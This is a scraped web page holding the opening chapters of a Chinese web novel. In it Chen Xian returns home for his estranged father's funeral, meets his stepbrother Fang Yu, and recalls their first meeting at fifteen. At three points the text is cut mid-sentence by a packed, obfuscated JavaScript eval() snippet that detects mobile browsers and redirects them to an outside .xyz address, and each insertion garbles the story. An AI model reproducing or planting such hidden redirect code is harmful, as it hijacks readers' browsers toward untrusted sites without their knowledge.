《你哥快死了》 1. 方谕 陈舷回到家的时候,家门口已经堆满了人。 邻居们把单元门围得里三圈外三圈,也不管里头的人如何驱赶着人群,就那么一直围在外围看着热闹说着闲话。 “好端端的人,怎么突然就没了呢。” “听说是猝死。”有人窸窸窣窣地小声说,“这几天过年嘛,家里来亲戚了。老陈陪着他们在屋头里打麻将,打了个通宵以后摸了把顶好的好牌,刚喊了声‘胡了’就倒了,刚进急诊,就挂了。” 陈舷差点没被嘴里最后一口水呛住。 他咳嗽两声,捂了捂嘴巴,装作没事,转头走出去几米远。 身后的邻居们丝毫没注意到,还在窃窃私语。他们连连摇头,叹着气说“人生真是不知道明天和意外哪个先来”。 陈舷呵呵笑出了声。 他亲爹——陈胜强的死讯,昨天到了他的手机上。 方真圆百年难得一见地给他打了电话,叫他回来给他爹办后事。 方真圆是他后妈。 陈舷便订了最近的一班高铁回来了,一个多小时前刚到站。方真圆还是老样子,没在电话里多说,只催着他回来。 陈舷刚刚偷听了一耳朵,才知道老陈到底怎么死的。 居然死于胡了一把好牌,说出去都笑死人。 老陈家单元门口乌泱泱地挤满了人,都是来看热闹的邻居。 陈舷怎么看怎么想笑。 他把水随手扔进了身后的垃圾箱里,朝着空气悠悠地吐了口白气。还没出大年初七,正是深冬,小区里积雪没化,老树萧条,树干光秃秃地跟着冬风摇晃。 喝了凉水,胃里又电钻似的一阵疼。陈舷暗自咬咬牙,裹紧衣领子,往人群那边走。 穿过熙熙攘攘的人群,陈舷进了单元门。 单元门里有个高高瘦瘦胡子拉碴的男人,正声嘶力竭一脸不耐:“有什么好看的?能不能散了,你们也不嫌晦气!你干什么的?看热闹看到家里来了!?出——” 陈舷说:“我陈舷。” 男人一顿,突然不吭声了,难以置信地把他打量了番。 “陈舷?” 陈舷朝他笑笑,一脸病恹恹的惨白,好像个马上要被风吹走的纸片。 他苍白消瘦,嘴唇毫无血色,眼镜上起了一层雾霜,挡得镜片后头的一双狐狸眼模模糊糊。身上裹着的大衣包着他一身惨戚戚的瘦骨,一脑袋黑毛在单元门萧瑟的风里被吹得乱飞。 他就像冬天老树枝丫上最后一片惨黄叶子,在冬风里萧瑟地雨打风吹,不知什么时候就要嘎巴了。 也不怪人家认不出他。 陈舷离家前十七八岁,那时候浑身上下都是使不完的劲儿,放学不是打篮球就是牵着老毛疯跑——老毛是以前他们家的大金毛。 他那时候有活力,虽然也瘦,但浑身上下肌肉匀称,翻墙出校上树摘果什么都干,皮得很。 哪儿像现在这样,跟个纸片子似的。 男人沉默了会儿,给他让了路:“你进去吧。” 陈舷点点头,抬脚往里走。 走了没两步,男人叫住了他。 男人面色复杂——他想起前几年听过的一些传言,于是半同情半提醒地说:“还在十一楼。一梯一户来着,进去就是。” 陈舷哭笑不得:“我知道啊。” “……我怕你不记事了。”男人讪讪地说,“我听说你……” 男人欲言又止。怕话说出来太伤人,他没敢再往下说。 陈舷吃吃笑出了声来。他笑起来还是和从前一样,眼睛弯弯像只狐狸。 可他太瘦了,笑容也苍白勉强。 男人看得心里一晃,心里太不是滋味儿。 “没那么严重,”陈舷还安慰他说,“没事。” 男人朝他点点头:“好。” 陈舷转头又往里走。走了几步,他缓缓停下。 他回身:“那个。” 男人回头望向他。 “那个谁,”陈舷顿了顿,咽了口口水,脸上的笑忽然惨淡,“方谕……要回来吗?” 一提方谕,男人脸上也有点僵。 “嫂子……你方姨昨天给他打电话了,他应该也要回来。毕竟再怎么说,他也管你爹叫了几年爸。”男人说,“你……知道他在干什么吗?” 陈舷摇摇头。 离家后,方谕的事他半点儿都不知道。 “方谕后来去意大利了,听说读了个很有名的艺术学院。”男人说,“毕业以后他好像就留在那边,现在是个挺有名的设计师,在给人设计衣服。这事儿这么突然,他就算要回来,估计也得要几天,意大利挺远的。” “你把你爹送去下葬,就走吧。葬礼的事他弄,你就把棺材的事儿弄一弄就好。” 男人说着说着就面色紧绷,五官都透着紧张。 陈舷看出来他在想什么了,笑了声:“没事,见到面也不会又打起来的。那会儿我俩十七岁,血气方刚的,这一晃都多少年了?我都快奔三了,他也二十好几了,怎么可能还要打,又不是小孩了。” 有他这话,男人松了口气。 “那你快去吧。”男人说,“你爸也在上面。” 陈舷笑着朝他点点头,回头走了,这次再没有停下。 他走到电梯跟前,上了电梯。 陈舷摁下按钮,电梯的门开了。他走进去,电梯里的灯惨白兮兮地落在他身上,照得那一张脸更没血色。 陈舷摁下楼层,抬头,见男人还在看他,就朝他笑笑,挥了挥手。 “我先上去了。”他说。 “陈舷,”男人说,“我还是你叔叔。” 陈舷一愣,那张笑脸终于出了丝裂缝。 片刻,他又笑了起来,只是笑容并不动容,反倒局促。 电梯门关上了。 男人身后的单元门外,邻里街坊窸窸窣窣的交谈声又响了些,似乎是在谈论陈舷。冬风更冷了,吹得男人后脊骨发凉。 男人叹了口气,气息化作一团白气,消散在风里。 挺好的孩子。 男人想,他哥真是造孽。 上了十一楼,陈舷出了电梯。家里的门大开着,三五个人站在门口,屋子里也有人。一阵抽抽搭搭的抽泣声,从里头传出来,陈舷一听就浑身一震,站在电梯里僵了会儿才走出来。 这抽泣声他太熟悉,十二年前东窗事发,每天不管睁眼闭眼,家里都是这个声儿。 在屋外人异样的目光中,陈舷走进屋子里,果不其然,看见方真圆坐在客厅的沙发里掩面哭泣。 他敲了两下门,方真圆抬起头来。 陈舷张了张嘴,突然哽了下。 他不知道该叫方真圆什么好。 哑巴几秒,陈舷不尴不尬地跳过称呼,直接问:“他人呢?” 方真圆两眼通红,看见他时却目光愤恨起来。她吸了口气,往卧室里撇撇脸。 陈舷抬脚进了卧室。一进去,就见他十二年不见的亲爹毫无血色地仰面躺在床上,两眼紧闭神情安详,浑身青白,已经没有一点血色。 床边坐着几个眼熟的人,每个人都面色凝重复杂。 陈舷噗嗤笑出了声。 此情此景还笑出声,真是太没良心。屋子里的几个人顿时望向他,有人难以置信,有人狠狠剜他。 陈舷捂了捂嘴,清了清嗓子。他尽力敛起笑来,正色问道:“听外面的人说,昨天送去医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505962|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院急诊了。送去的医院,不管遗体善后?” 一个脸色难看的亲戚说:“医院管,但是小圆怕医院处理不好,签了字带回来了。” “一会儿,你就联系个殡仪馆的,让他们来处理吧。”另一个亲戚说,“你是他儿子,这钱该你出。” 陈舷这下明白了。 怪不得方真圆拉下脸来让他过来,原来是想让他来出下葬的钱。 陈舷又笑出声来,他看了眼床上尸骨未寒的亲爹。 “你到底笑什么?” 床边,陈舷一个年迈的大爷亲戚终于坐不住了。他站起来,怒不可遏地指着他,“你亲爹死了,你到底笑什么!?像话吗你!” “我早就不是他儿子了啊。”陈舷无奈地看向他,“这事儿不是你们十几年前开了个批.斗大会认定的吗。出了这个门,我就不是你们这个老陈家的了。” “你!” 大爷正要继续发作,旁边站起来另一个亲戚。亲戚拍了拍大爷的手背,抬头拧紧眉头望向陈舷。 他面色阴沉:“那你是不想管了?” “我可没说我不管。”陈舷笑着,“反正身上就剩最后一点儿了,我也不打算用,你们想要就拿去呗。” 他这话莫名其妙,驴头不对马嘴的,亲戚听了个一头雾水:“什么?” “反正我会管的。”陈舷拖长语调,懒懒散散地歪歪脑袋,“你们不就是还想榨干我的钱嘛。可以,给你们,虽然我穷的什么都不剩了,但是你们想要,我就把最后一分都给你们。” 亲戚们被他说得脸色扭曲,个个都不悦。 “你这孩子,瞎胡说什么?” “你也不想想,当年为什么不想再认你!你是你爸唯一的亲儿子,当年却干那么畜生的事儿,谁还敢认你?” “这么多年,你爸都死了,你都没尽孝。”一个亲戚语重心长,“让你出这个钱,也是给你个机会,让你弥补你爸!” “好好好好好,”陈舷连连点头应下,“好,好,好,谢谢各位的大恩大德,我一定弥补,一定弥补。” 他边说边笑,笑得讽刺至极。陈舷拿出手机来,语气用力且诚恳,“我这就找殡仪馆,我一定、一定,给老陈送佛送到西,肯定给他安排最贵的套餐,我让他走得舒舒服服的,绝对不会像我似的,把这辈子过成这吊样。” 陈舷不想再说了,不管亲戚们听了这话又是什么反应,他拿着手机就赶紧转身出门。 方真圆还在客厅里装模作样地抽抽搭搭,陈舷看都不看,赶紧往外走。 真是个丝毫没变的乌烟瘴气的破地方,陈舷一秒都不想多呆。他出门摁下电梯,低头解锁手机,一手插兜一手拿着手机,找起了殡仪馆。 他宁可出去顶着寒风打电话,都不想在这个家里待着。 电梯层数一层一层往上走来。 陈舷低头看着手机。 层数终于爬上了十一层。叮的一声,电梯门缓缓打开。 惨白的光洒进过道里,洒在陈舷身上。 陈舷抬腿儿就往里进,里面的人也往外来——电梯里上来了一个人。 两人差点儿撞上,好在陈舷连忙后退几步,才没和对方撞个满怀。 陈舷抬头,道歉的话就在嘴边:“抱——……” 陈舷瞳孔一缩。 余下的那个字,一下子卡在喉咙里,出不来了。 电梯里的人,比陈舷高出半个头去。 他肩宽腰窄,脸庞棱角分明,鼻梁上架着一副金丝边框眼镜,镜片后眉眼深邃,眼尾狭长。 望着他那双脱去了青涩只剩锐利的丹凤眼,陈舷惊得微微张开嘴,却发不出声音。 方…… 方谕。 2. 吐血 方谕收回脚步。 瞧见陈舷,他怔了怔,眯起眼。和楼底下的陈舷他叔一样,犹豫好久,方谕才难以置信地辨认道:“陈舷?” 陈舷浑身一抖。 他瞳孔瑟缩,又连连后退好几步。 站在方谕的视线里,陈舷突然无所适从。 不知是再会来得太突然,还是他知道自己真的大不如前,陈舷张了张嘴,却一个字儿都说不出来。 胃里的钻痛突然厉害起来,喉咙里涌上一股腥甜。 陈舷捂住嘴,再顾不上跟他说话,转头连滚带爬摇摇晃晃地冲进屋子里。 众人一脸懵逼,连抽泣着的方真圆都抬起头,一脸莫名地看着他撞开厕所门,冲进去,反锁上门。 厕所里的照明换风甚至气暖都被一起打开来。 在厕所呜呜的换风声里,陈舷呕地吐了起来。 站在门口的一群人:“……” 几人不语,只是看向方谕。 方谕站在电梯门后,无言半晌,笑出了声来。 看一眼就吐是吧。 * 陈舷吐得满马桶都是血。 他的胃越吐越疼,好像在身体里蜷缩着拧起来了。陈舷呕得昏天黑地,耳边开始嗡嗡作响。 好不容易吐干净了些,他呼哧带喘地喘起了粗气。陈舷扶着脑门,扒在马桶边上缓了几口气的空儿,耳鸣也淡去些许。 他听见外头传来声音。 厕所离客厅不远,他便听见方真圆家那边的人招呼着:“小鱼,快进来,你妈都哭好久了。” 小鱼是方谕的小名。 陈舷咳嗽几声,偏头望望门外,额角边上淌下几滴痛出来的冷汗。 外头一阵鞋踩地的脚步声,是方谕进来了。 “怎么这么快就回来了?” 方真圆吸着气抹着眼泪,声音还带着些哭腔,但听得出来在强装精神。 “正好在礼海办个人站。” 方谕声音发冷,听着跟他妈有点疏离,不知道是不是陈舷的错觉。 “好巧不巧,我就在国内,过来的就快。”方谕说,“回来得早,你不欢迎?” “怎么会呢,你瞎说什么,你可是我儿子。”方真圆忙说,“回国来了也不和你妈说一声,吓了我一跳。” “有人比你吓得更厉害。”方谕说。 陈舷:“……” 他听出方谕这句话是在说给他听了。 陈舷用力咳嗽两声,清掉喉咙里的不适,他坐直起身。望着满马桶的血,他无奈苦笑几声,摁着马桶坐起身来,又摁下冲水,把血水都冲走。 他摇摇晃晃地走到洗手台前,望了眼镜子里的自己。 真是跟个皮包骨头一样的脸,眼睛下面的黑眼圈浓得像糊了两团墨上去,嘴边都是血,干巴巴的,像个穿了人皮的骷髅。 陈舷越看自己越觉得丑,再想想外面的方谕,顿时又笑起来。 人真是不知道以后会怎么样。 十七岁的时候,他从没想到会有今天。 陈舷摘下眼镜,扑了两下水在脸上,又洗了洗嘴漱了漱口,才戴好眼镜,关上照明换风气暖,打开门。 方谕正站在客厅的窗户边上,背对着他,俯瞰下面的景色。 屋子里暖气足,他脱了身上的黑色长风衣,穿着件暖灰色的毛衣,脖子上挂了两三圈银项链。 听到开门声,他回头,一双凤眼冷漠地瞥了他一下,又收了回去。 陈舷心里晃了一下。 僵了一会儿,陈舷一偏头,才看见原本站在屋外和卧室里的一群亲戚都凑近进来,一双双眼睛都在他和方谕身上。 陈舷关上厕所门,咳嗽了两声,把身上的黑大衣紧了几下,转身往外走。 刚走没两步,方真圆就叫住他:“陈舷。” 陈舷脚步一顿。 他心里过了一阵骂声,笑着抬起头:“什么?” “你叫殡仪馆了吗?”方真圆问,“你说你会管你……会管老陈的,是吧?” “啊,当然管,当然管。”陈舷笑着说,“还没找,我一会儿下去就打电话找人。” “你瞧,”方真圆回头说,“陈舷会管的,你就不用操心了,等着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505963|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操持就行。” 方谕目光意味深长地望了他几眼。 ……敢情是让他说给她儿子听。 陈舷又想吐了。他强撑着干笑两声,转身往外走。 “站住。” 这回是方谕。 陈舷又不得不脚步一顿。 他深吸一口气,又想骂方谕了。 方谕说:“怎么非要去外面打电话,这里不能打?” “是啊是啊,”一个好事的亲戚贱笑起来,“这可是你家里,怎么非要出去啊。” 这话一出,陈舷面色一冷。 他脸上立刻没了笑。 “是家吗。”他反问,“这是我家吗?” 四周空气都骤然冷了下来。 那亲戚哈哈笑着,朝他挥挥手:“那么认真干啥,不是你家就不是你家呗。” 方谕不说话了。他低了低眉眼,沉默地扭回头,看向外面,没再吭声。 方真圆也低下脑袋,没有做声。 空气好像突然结冰了,所有人都没再说话。陈舷冷着脸,揪着衣领子,匆匆出了门去。 他走进电梯,惨白的灯照在身上。摁了楼层,陈舷又去按关门的钮。 门没立刻反应,陈舷烦躁地连连点着关门,指尖扣在上面哒哒地响。 门终于关了。 家门终于消失在眼前,陈舷终于长出了一口气。 他往后慢慢地后退,直到倒到电梯冷冰冰的墙上。望着电子板上慢慢往下坠落的数字,陈舷出了神。 刚见到的方谕的脸,在他眼前浮现。 陈舷笑出声来。 还好。 他想,还好。 除了这两个字,陈舷心里什么话都冒不出来。 他浑身作痛,脑子里空空的,就只是对着方谕的脸一遍一遍地想,还好,还好。 还好什么? 他不知道,或许是还好总算是逃出生天了一个。 陈舷望着电梯已经斑驳的屏幕,看着不断倒退的数字,忽然感到时光逆流。 第一次见到方谕的时候,陈舷十五岁。 3. 再婚 宁城。 深秋了,宁城三中教学楼外的大杨树被风吹得哗啦啦响。 放学铃响了。 最后一节课的历史老师把知识点收了个尾,把讲义在讲桌上敲了两下:“下课!” 跟一群得了令的猴儿似的,学生们几声欢呼,嗖地冲出了教室,呜哇乱叫蹦蹦跳跳地就朝着校外飞奔。 周五了,也正常。 陈舷是里头叫得最欢的那只猴。 “老尚!老尚!” 他单肩挎着个双肩包,呜呜嗷嗷地冲出来,抓住他好哥们尚铭,笑得满面春风,“打篮球去啊!” 尚铭也给力地回叫:“走啊!摇人!” 俩人边笑边叫,正跟着人群往外跑时,就听旁边响了一声:“咳。” 两只猴齐齐一僵。 他俩又齐齐僵硬地扭过脑袋,一瞧,班主任程慧丽靠在办公室门框上。 她朝他俩一挑眉:“又去打球?” 陈舷尴尬片刻,挠挠后脑哈哈一笑:“都周五了,老大,又没晚自习……哎哟!” 程老师拿起手里的尺子,不轻不重地在他脑袋上敲了一下。 “没大没小!”她骂他,“叫老师,叫什么老大!” 陈舷朝她傻笑:“老师,老师。” 程慧丽板不住脸了,噗嗤笑起来——她不是跟陈舷真生气。 “行了,去吧。”她说,“周五了,愿意打就去打。不许晚回家啊,自己看着点时间。” “好嘞!” 陈舷如蒙大赦,又喊一声谢谢老师,抓着尚铭就跑了。 尚铭也油头滑脑地喊了声“谢谢老师”,跟着陈舷蹦蹦跳跳地跑走了。 “走廊上别跳!”程慧丽在后头喊。 两只猴又喊着好,然后继续跳着跑了。 程慧丽无可奈何。 十五岁的陈舷在学校里十分吃得开。 他学习不好,但人缘好。好兄弟尚铭一个吆喝,立马就来了不少人来跟他们打篮球。有跟他一个班的,有跟他不是一个班的,甚至还有不同年的学长和学弟。 学校周五散的早,一群人就去了附近公园里的一个篮球场。 篮球场上热闹了两三个小时,一群人热火朝天地奋战了好久,天渐渐黑了。 一群人打得短袖校服都湿透了,一个个衣服前胸贴后背,大汗淋漓得头发都贴在脑门上。 见天黑了,一群人也就散了伙。 “走了啊舷哥!我妈叫我回家吃饭了!” “我也走了舷哥!” “拜拜舷哥,我再不走我妈要唠叨啦!” “哦!” 夕阳落下,一群少年拽着自己湿透了的校服短袖领子扯了几下,跟他打了招呼,就都套上外套,拿起书包走了。 陈舷跟他们挥了挥手,笑着道别后,跟尚铭一块儿把篮球还了,也挎上书包回家去了。 俩人顺路去便利店买了俩肉包,边啃着边走在回家路上。 天黑下来了,路上路灯亮起,远处天边只剩一圈橘黄。走着走着,路边小摊上,一个小孩正拽着他妈衣角,指着小摊上挂着的“竹筒粽子”四个字儿叫:“妈,我要吃竹筒粽子!” 那妈无可奈何地笑着说好好好,直起身问店主:“竹筒粽子多少钱?” 陈舷看得一时感慨,叹了口气。 “咋了兄弟?”尚铭问他,“叹啥气,今儿可是礼拜五,明后两天周末。” “有妈真好。”陈舷一脸沧桑。 “有病吧你,你又不是没妈。”尚铭笑骂他,“想你妈啦?想了就去看看呗,你妈不是离得不远嘛,坐高铁就半个多小时。” “懂什么,去不了。”陈舷咬了口包子,“我妈当时都没要我抚养权,我爸说她前年就结婚了,现在又有新家又有新老公的,我过去多给她添堵。” “不会吧,你可是亲儿子。”尚铭嘴巴鼓鼓的,声音含糊,“你妈亲口告诉你,她不要抚养权?” “没有,我爸说的,他说我妈叫他转告给我的。” “喔……”尚铭一阵沉吟,“我怎么听着怪怪的呢。” “咋?你想说我爸骗我?” “有这个可能性的嘛。你不爱听?” 陈舷没吭声,只是嚼着嘴里的包子。刚才咬的一口有点大,他这会儿嚼得两腮都很鼓,像仓鼠。 “你爸这几年对你也不咋地,都不怎么管你。天天十点才到家,学校开家长会也不来。”尚铭说,“我是羡慕你挺自由,但是你别嫌兄弟说话难听,不管你,那就是对你不上心呐。” 陈舷没吭声,又咬了口包子:“还好吧,他一直没给我找后妈,说不定,就是怕我会在后妈那儿受委屈,才一直单身?” “你太天真了吧舷哥,这才几年——” “尚铭!!!” 一声河东狮子吼从旁边居民楼上传来,路上行人都被狠狠吓得一哆嗦。 尚铭“哎我草”了声。 陈舷嘴里的包子差点呛住。 他转头一看,居民楼中间二层楼的位置,一个短发卷毛穿着粉色家居服的女人开了窗——那是尚铭他老妈。 她推开窗户,两手扒着窗框,正吼着:“死哪儿去了!你那死爹都到家了!上来吃饭了!!” 尚铭又羞又恼:“我知道了!你回去啊!很吓人很丢人呐!!” “赶紧滚上来!” 他妈碰地关上窗户。 尚铭一脸死了爹似的扭曲。他抹了把脸,才回头对陈舷说:“那我也走了啊舷哥,明儿出来打电动。” 陈舷哭笑不得:“喔,拜拜。” 尚铭跟他挥挥手,转身一溜烟腾腾跑回家去了,背上的书包都一颠一颠。 陈舷站在原地,发了会儿呆。 天彻底黑下来了,天边的那一圈橘黄也消失不见。路上行人又开始来来往往,陈舷抬着头,没一会儿,听见尚铭他们家里有了动静。 “礼拜五你们下午不是三节课?你又死哪儿去了,提早放学还不提早回家?” “我跟舷哥打会儿篮球去嘛!” “又跟陈舷!”他妈抱怨了声,从窗边端起饭菜离开了。 他家窗户边上是厨房。 陈舷再听不见尚铭他妈说了什么,但他知道多半是抱怨自己的话。 陈舷的成绩十分稳定,每次都排第一——全年级倒数第一。 尚铭他妈对他有意见不是一两天了,但尚铭雷打不动,还是一直跟陈舷当铁哥们。 夜里起了风,吹得陈舷一脑袋黑毛摇摇。他低头,手里的包子已经没多少了,于是陈舷一连咬了两口,想一口气全部消灭。 刚剩最后一口时,手机在裤兜里嗡嗡地响了起来。 陈舷跟被踩了尾巴似的跳了一下,颤声着含混地我曹一声,把手机从兜里拿了出来。 他表情龇牙咧嘴,又笑意难耐。 陈舷是个非常怕痒的人,手机开震动放兜里,一旦贴着皮肤,他就会被痒到。 他的怕痒就是到了一种如此奇葩的地步。 他抹掉眼角边的眼泪,拿起手机一看,是他爹陈胜强。 陈舷把嘴里的包子胡乱嚼了几下,咽了下去,接起来:“干嘛?” 陈胜强开门见山:“下礼拜一到礼拜三你不用去学校了,我给你请了半个礼拜的假。” 陈舷愣了一下:“怎么了?出事了?” “嗯。”陈胜强说,“我结婚。” 陈舷:“………………” 风突然大了。 陈舷举着手机,两眼发木。 手里的包子掉下去,栽楞楞地以头抢地。 一辆大巴车从路边开过,突然摁响喇叭。伴着一阵巨大的鸣笛,尖叫着路过了。 陈舷站在原地,麻木很久:“什么时候的事?” “这周日结。” “不是,谁问你那个了,”陈舷麻着,“你什么时候有的对象??” “关你什么事?”陈胜强哼哼笑了声,“少打听大人的事。等结了婚,就搬进婚房里。你下礼拜一到礼拜三来帮忙搬家,搬完了再回学校,顺便也能跟那谁一起。” “?”陈舷疑惑,“那谁是谁?” “到时候你就知道了。”陈胜强只说,“对了,我结婚那天你先别去。我怕你后妈看见你不自在,结完婚以后你俩再见面。” “……你……” “那就这样,今晚我还要跟人家家里吃饭,又得十一二点了,你自己点外卖吃吧。” 电话里啪一声,陈胜强自顾自地把电话挂了。 陈舷拿开手机,望着只剩下无限回音嘟嘟嘟个不停的页面,没话说了。 老陈真是个很自说自话还自私的人。 陈舷站在风里,又凌乱了很久。 他耳朵边上回响起尚铭的话——他爸对他不上心。 陈舷抽了抽嘴角,呵呵笑出了声。 他越想越觉得搞笑,自己刚刚那句“我爸说不定是怕我在后妈那儿受委屈才一直单身”的屁话,开始在脑子里一遍一遍地回旋。 * 第二天周末,陈舷家里就来满了亲戚,双方的都在。 一群人坐在客厅里,桌子上堆满瓜子喜糖花生,他们一边磕着吃着一边聊着婚礼,有时又唠唠家常,然后时不时地发出一阵能把房顶掀翻的笑声。 陈舷坐在自己屋子里,盘腿窝在电脑跟前的旋转椅上,把自己转了一圈又一圈。 他沧桑地望着自己屋子窗户上的红色囍字窗花——他突然觉得陈胜强真他大爷丧心病狂一男的,一点儿铺垫都不给自己儿子留,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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相框里,他亲妈陈桑嘉和陈胜强一起抱着他,仨人对着镜头,发自内心地、幸福地笑着。 陈胜强笑得眼角边皱纹挤出两三道,嘴巴扬着。 陈舷突然觉得这照片刺眼,也觉得没意思。 他伸手,重重把相框面朝下摁在桌子上。 清净了。 楼梯间里突然一阵脚步声,咚咚锵锵了好一阵。 陈舷本就心烦,一听这动静,心里的气火更不打一处来了。他把脑袋上的耳机薅下来,啧了一声,嘟嘟囔囔地骂:“有完没完,一个两个怎么都这么烦人——……” 话还没落,家门口响起钥匙开锁的声音。 陈舷一怔。 他走出门去,拉开卧室的门,往门口一看。 门外的人刚好打开门。 陈庆兰站在外面。她身后,站着个瘦瘦高高,低着脑袋的男生。 陈庆兰满脸堆笑起来,连忙躲开身,给身后的男生让出条路来。 “小舷,这是你真圆阿姨家的儿子,以后是你弟弟,比你小一岁。”她说,“他叫方谕。” ——他叫方谕。 陈舷第一次见到方谕就是这时候。十五岁这年,亲爹荒唐地要二婚的时候,姑姑把刚在亲妈家里歇斯底里了一通的方谕送到了他这儿来。 外头的亲戚们欢天喜地,都衷心地庆祝离过婚的男人和女人再次找到了能共度一生的伴侣,留他和方谕被突然的通知砸得头破血流,不知所措。 陈舷的不知所措是安静的自闭,方谕的不知所措是歇斯底里的争吵。 于是他被方真圆赶了出来,亲戚们说他得冷静冷静,就把他扔来了陈舷这里。 他们说他迟早是他哥哥。 陈舷也是很久之后才知道,这时候的方谕刚跟亲妈吵了一架。 陈舷望了方谕一眼。 方谕身上穿着洗得发白的白t,一头略长的头发挡住了眼睛。露出的胳膊消瘦惨白,看起来营养不良。 陈庆兰说你们好好相处,然后把方谕推进了屋子里。 门关上,楼下有人喊了陈庆兰一声。陈庆兰在门外欢快地应着,高高兴兴踩着高跟鞋,噔噔地下了楼。 方谕进了门里,站在门口没动。 陈舷也站在卧室门口没动。老陈家层数低,就在二楼。他听见单元门前,双方的亲戚们笑着互相奉承,又商量着明天的婚礼。不知谁开了个玩笑,一群人又开怀大笑起来。 天气晴朗。 所有人都很高兴。 除了他和对面这个方谕。 4. 旧房 方谕手插着兜,站在门口一动不动。 虽然头发盖眼,但陈舷看见他撇下去的嘴角,看见他紧咬着没有血色的唇。 看起来,方谕在生气。 陈舷很理解他,他也憋了满肚子的火。 但那是他爹混蛋,跟方真圆还有他儿子都没关系。 “进来吧。”陈舷说,“那个……呃,方谕?” 方谕抬起头来,朝他眯了眯眼。 陈舷震了下。 半遮住眼的长刘海后头,是一双摄人心魄的丹凤眼。 他眼尾狭长,眉眼深邃,神态冷清淡漠的眼中,此刻一片戾气,看来气得真是不轻。 可偏偏他整个人苍白消瘦,嘴唇毫无血色,倦颓得眼中的怒火有气无力。 方谕的丹凤眼太漂亮,帅得陈舷不自禁深深一震。 即使方谕是在瞪他。 “……你进来瞪我呗,”陈舷讪讪搓了搓手,“别站门口瞪了,怪累的。” 方谕还是没动。 真难搞。 陈舷想。 陈舷头大了一圈,硬着头皮说:“进来吧,你饿了没?我给你点外卖。” “用不着。” 方谕终于出声了,他声音哑得厉害,陈舷吓了一跳。 他走进来,手插着兜掠过陈舷,声音厌倦又不耐烦:“少管我。” “我不是管你啊,我是关心你……”陈舷无奈,“你别听我姑姑瞎说,我不会瞎管你的。咱俩好歹以后要在一个家里一起住了,就和平共处嘛。” “谁要跟你和平共处。” 方谕放下这么一句,转身进了他家客厅。 陈舷被他噎得说不出话,走进去一看,方谕坐在靠窗的沙发上,前倾着身,两手搁在膝盖上,拿出手机来。 手机是很老的机型了,是四五年前的牌子,早已被市场淘汰。 他低着脑袋,深皱着眉,眼神烦躁。 陈舷靠在墙边看着他,发自内心地对自己的未来感到无力。 老陈真能整。 陈舷想,整个后妈来就算了,还整个后弟。 后弟还是这么个硬茬,一点儿都不可爱。 跟个刺猬似的。 陈舷苦笑了声,手机忽然在卧室里响起来。 陈舷转身走进卧室,一看手机,是尚铭。 “舷哥!” 电话一接起来,尚铭就喊他,“打电动去呀,昨天说好的!” 陈舷把卧室门关上一半,转身坐到了电脑跟前:“打什么打,打不了了,先知。” “啥?”尚铭莫名其妙,“什么闲置,你有二手的东西要卖?” “屁嘞,什么耳朵。”陈舷重重叹了一声,“我爸要结婚了。” “什么!?!!” 尚铭撕心裂肺的震惊大叫传来,陈舷差点儿被震了个耳膜穿孔。 陈舷也对着电话喊:“你吼什么!!” “废话啊!不喊才有问题!”尚铭喊,“太他爹炸裂了啊哥!什么情况啊,昨天放学你不是还跟兄弟说你爹没对象吗!!” “因为我以为他没对象啊!谁知道他有!昨天你前脚刚走,后脚他就跟我打电话,说明天他就结婚!有病吧!一点儿预兆都没有!” 冲动地把话喊完,陈舷一哽,才想起客厅里还有个人。 他突然心虚地打了个嗝,悄悄走到门边,从半敞的门缝里往外偷偷看去。 方谕没动,神色也没变,还是一脸烦躁地坐在最靠窗的地方。 陈舷松了口气。 电话里,尚铭一无所知地唠唠叨叨着:“你爹这事儿真不是人干的,带着孩子二婚的也不是没有!六班那个班长你知道不?她家也是二婚家庭,她妈在结婚前就带她见过她后爸,俩人相处的不错,她妈才带着她嫁过去的。” “你爹倒好,结婚前天才告诉你。再说这是告诉吗,这不就纯纯下通知吗!我跟你说舷哥,这压根就是没拿你当个人看,没拿你当成个儿子尊重!” 尚铭义愤填膺。 真是个好兄弟,陈舷的事儿他都当自己的事儿气愤。 陈舷都要听哭了。 他哈哈笑了声:“也没办法,我现在说不许结婚,他也不会同意。” “那你现在怎么想的?” “什么怎么想的?” “就是现在,你什么想法?”尚铭语气小心翼翼起来,“你哭了没?” “我哭屁啊,他都没怎么管过我,天天放养。”陈舷转身靠在墙上,“还真是没什么情绪波动,就是烦,烦他一点儿预兆都没有。” “那该烦。”尚铭说,“那你干啥呢?一会儿要去布置婚礼?” “不去,他不让我去,说怕女方不自在。”陈舷说,“我在家。” 尚铭兴奋起来:“那我去你家打电动啊!” “不方便。” “咋不方便啊?” “家里有人。”陈舷五味杂陈地又偷偷摸摸往门外看了眼,“你消停会儿吧就,我这几天抽不开身了。” “好吧。”尚铭说。 电话挂了,陈舷再次偷偷看门外。 方谕还是坐在那儿,陈舷看见他放在膝盖上的手缓缓扣紧。 方谕是紧张的。 陈舷看出来了。 他又把视线往上移。 